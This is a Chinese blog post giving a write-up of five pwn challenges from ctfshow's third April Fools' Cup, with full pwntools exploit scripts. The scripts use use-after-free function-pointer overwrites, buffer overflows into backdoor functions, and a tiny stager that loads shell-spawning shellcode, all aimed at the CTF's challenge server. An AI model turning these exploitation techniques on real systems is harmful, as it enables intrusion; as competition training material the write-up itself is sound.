首页 > 其他分享 >ctfshow 第三届愚人杯 pwn wp

ctfshow 第三届愚人杯 pwn wp

时间:2023-04-15 13:34:00浏览次数:28  
标签:return p64 libc ctfshow wp pwn sla def

想起自己貌似没有发过比赛的 wp,也完完整整地参加了好几个比赛,之后会陆续发

ctfshow 愚人杯做完 pwn 方向的题目就溜了,拿了三个一血、两个二血。感觉自己棒棒哒。

easy_checkin

把 show 功能函数放在堆块上且自带后门的题目,存放 UAF 漏洞,修改下 show 功能函数为后门函数再利用 UAF 即可。

就是题目做了处理,不是很好调试。

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
#p = gdb.debug('./pwn', 'b *0x400132')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28106)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
#libc = ELF('./buu/libc-2.27.so')

def add(size, data):
    sla(b'chioce :', b'1')
    sla(b'size :', str(size))
    sla(b'Content :', data)
def free(idx):
    sla(b'chioce :', b'2')
    sla(b'Index :', str(idx))
def show(idx):
    sla(b'chioce :', b'3')
    sla(b'Index :', str(idx))

add(0x20, b'a'*0x8)
add(0x20, b'a'*0x8)
free(0)
free(1)
add(0x8, p32(0x8048C43) + b'stopstop')

show(0)
inter()

baby_pad

这道题有两个堆块菜单管理系统,需要进入第二个堆块管理系统,然后和 easy_checkin 一样。

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
#p = gdb.debug('./pwn', 'b *0x400132')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28106)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
#libc = ELF('./buu/libc-2.27.so')

def add(size, data = b'a'):
    sla(b'>>> ', b'A')
    sla(b'>>> ', str(size))
    sla(b'>>> ', data)
def free(idx):
    sla(b'>>> ', b'D')
    sla(b'>>> ', str(idx))

add(0x10)
free(1)
sl(b'1')
sla(b'size :', str(0x20))
sla(b'Content :', b'a')
sl(b'1')
sla(b'size :', str(0x20))
sla(b'Content :', b'a')
sl(b'2')
sla(b'Index :', str(0))
sl(b'2')
sla(b'Index :', str(1))
sl(b'1')
sla(b'size :', str(0x10))
sla(b'Content :', p64(0x400F82))
sl(b'3')
sla(b'Index :', str(0))
inter()

easy_sql

程序反汇编后看起来非常复杂,但看完后发现其实就是一个很简单的多线程竞争。

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
#p = gdb.debug('./pwn', 'b *0x400132')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28106)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
#libc = ELF('./buu/libc-2.27.so')

sla(b'code: ', b'a'*0x20 + p32(0x796573))

sla(b'Query: ', b'read')
sla(b'from: ', b'database.txt')

sla(b'Query: ', b'read')
sla(b'from: ', b'flag')
sla(b'read: ', b'1')

pr()

easy_login

程序逆向起来比较复杂,只要把程序逆向明白,然后控制程序调用后门函数即可

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
#p = gdb.debug('./pwn', 'b *0x400132')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28106)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
#libc = ELF('./buu/libc-2.27.so')

#gdb.attach(p, 'b *$rebase(0x15c0)')
sla(b'application --\n', b'l')
sla(b'Username: ', b'a'*0x40 + p64(0x776174))
sla(b'Password: ', b'b'*0x10)
sleep(1)
sl(b'Fool Jazz Mingus Hat')

inter()

baby_shellcode

题目极具迷惑性,一开始我以为要猜出加密算法用的 key,后来发现可以看成只写入九个字节的 shellocde 题目,就比较简单了。

这道题我用了五个字节,应该是最少的了

from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
#p = gdb.debug('./pwn', 'b *0x400132')
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28106)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
#libc = ELF('./buu/libc-2.27.so')
#Z_X\x0f\x05
#print(asm('pop rdx; pop rdi; pop rax; syscall'))
s(b'\xe9\xce\x27\xd2\x67')

sleep(1)
s(b'a'*14 + asm(shellcraft.sh()))

inter()

#pause()

标签:return,p64,libc,ctfshow,wp,pwn,sla,def
From: https://www.cnblogs.com/xshhc/p/17320954.html

相关文章

  • 如何在WPF中调用Windows 10/11 API(UWP/WinRT)
    最近在github上看到一个音乐播放器项目,dopamine(项目地址:https://github.com/digimezzo/dopamine-windows.git)在编译时,提示有一个库找不到  找了好一会,才发现这是调用了UWP的库。在最初Windows8出来时,这一套新的运行时叫WindowsRT,后面到Windows10时,改成了UWP。因为......
  • pwn里面的一些小知识
    进程虚拟地址空间​ 操作系统管理所有硬件,程序在运行时也是由操作系统通过虚拟地址空间的映射去管理。这样就避免了直接使用物理地址,避免他人能够直接通过物理地址对主机进行恶意程序调用。如果想调用物理硬件就需要用到编程接口(系统调用)。​ 在操作系统中,对每一个进程应用都是......
  • 新手的登录—wp—青少年CTF
    打开登录界面按要求以普通用户user的身份,通过密码password登录使用BurpSuite拦截登录情况在获取(GET)登录结果页面时,修改Cookie中的username为admin点击Forward即可获取Flag-End-......
  • 50 kWp并网光伏实验电站的综合设计、搭建与运行 | 并网光伏发电 | 垂杨光伏
    太阳能作为新能源的重要组成部分,凭借巨大的资源优势,其应用规模日益扩大并随着光伏发电技术的快速发展,各种新型光伏器件不断问世,为太阳能的开发利用提供了更多的机遇和发展潜力。考虑到现有光伏电站选用器件较为传统单一,不能满足于对新型光伏器件的性能进行实证对比研究,从而......
  • wpf使用propertygrid控件
    1.首先在引用里右键管理NuGet程序包查找extendedwpftoolkit并安装2.    引用DLL  xmlns:extoolkit="http://schemas.xceed.com/wpf/xaml/toolkit"3.<extoolkit:PropertyGridName="PropertyGrid1"Margin="0,45,-0.333,-0.333"></extoolkit......
  • WPF 使用依赖注入
    修改App.xaml.cs重新OnStartup和OnExit方法并使用Host启动解析appsettings.json配置文件在App.xaml中删除StartUri属性,否则会启动多个MainWindow包引用信息如下:Microsoft.Extensions.ConfigurationMicrosoft.Extensions.Configuration.JsonMicrosoft.Extensions.Depende......
  • wpf使用winform控件
    一、添加引用WindowsFormsIntegration.dll(负责整合WPF和Windows)System.Windows.Forms.dll(WinForm自带的控件库)提示:这两个引用都是在程序集中可以直接找到的ControlLib_k.dll(自定义的控件库)二、在要使用WinForm控件的WPF窗体的XAML文件中添加如下内容:xmlns是XML_Namespac......
  • CTFSHOW 萌新web10-21
    ctfshow萌新web10-21web10题目提示flag在congfig.php中php中作为执行系统命令的函数:system()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()源码中过滤了system,exec,highlight这三个常用的PHP命令执行函数,绕过过滤条件就可以使用eval()函数执行PH......
  • viewPager2页面的切换
    使用流程:  1.定义ViewPager  2.为ViewPager创建AdapterViewPagerAdapterpackagecom.example.viewpagerandfragment;importandroid.view.LayoutInflater;importandroid.view.View;importandroid.view.ViewGroup;importandroid.widget.RelativeLayout;importand......
  • 支持WPS的高效率插件,Word魔方
    个人办公中,使用插件越来越是很多人的选择。利用插件高效率完成繁琐的工作,能大大节省时间。下面就给大家介绍一款Word中的高效率插件,Word魔方。插件截图如下:  插件包含100+强大功能。一键AI智能排版、批量合并文档、批量拆分文档、批量提取Word数据到Excel、批量插入首页封......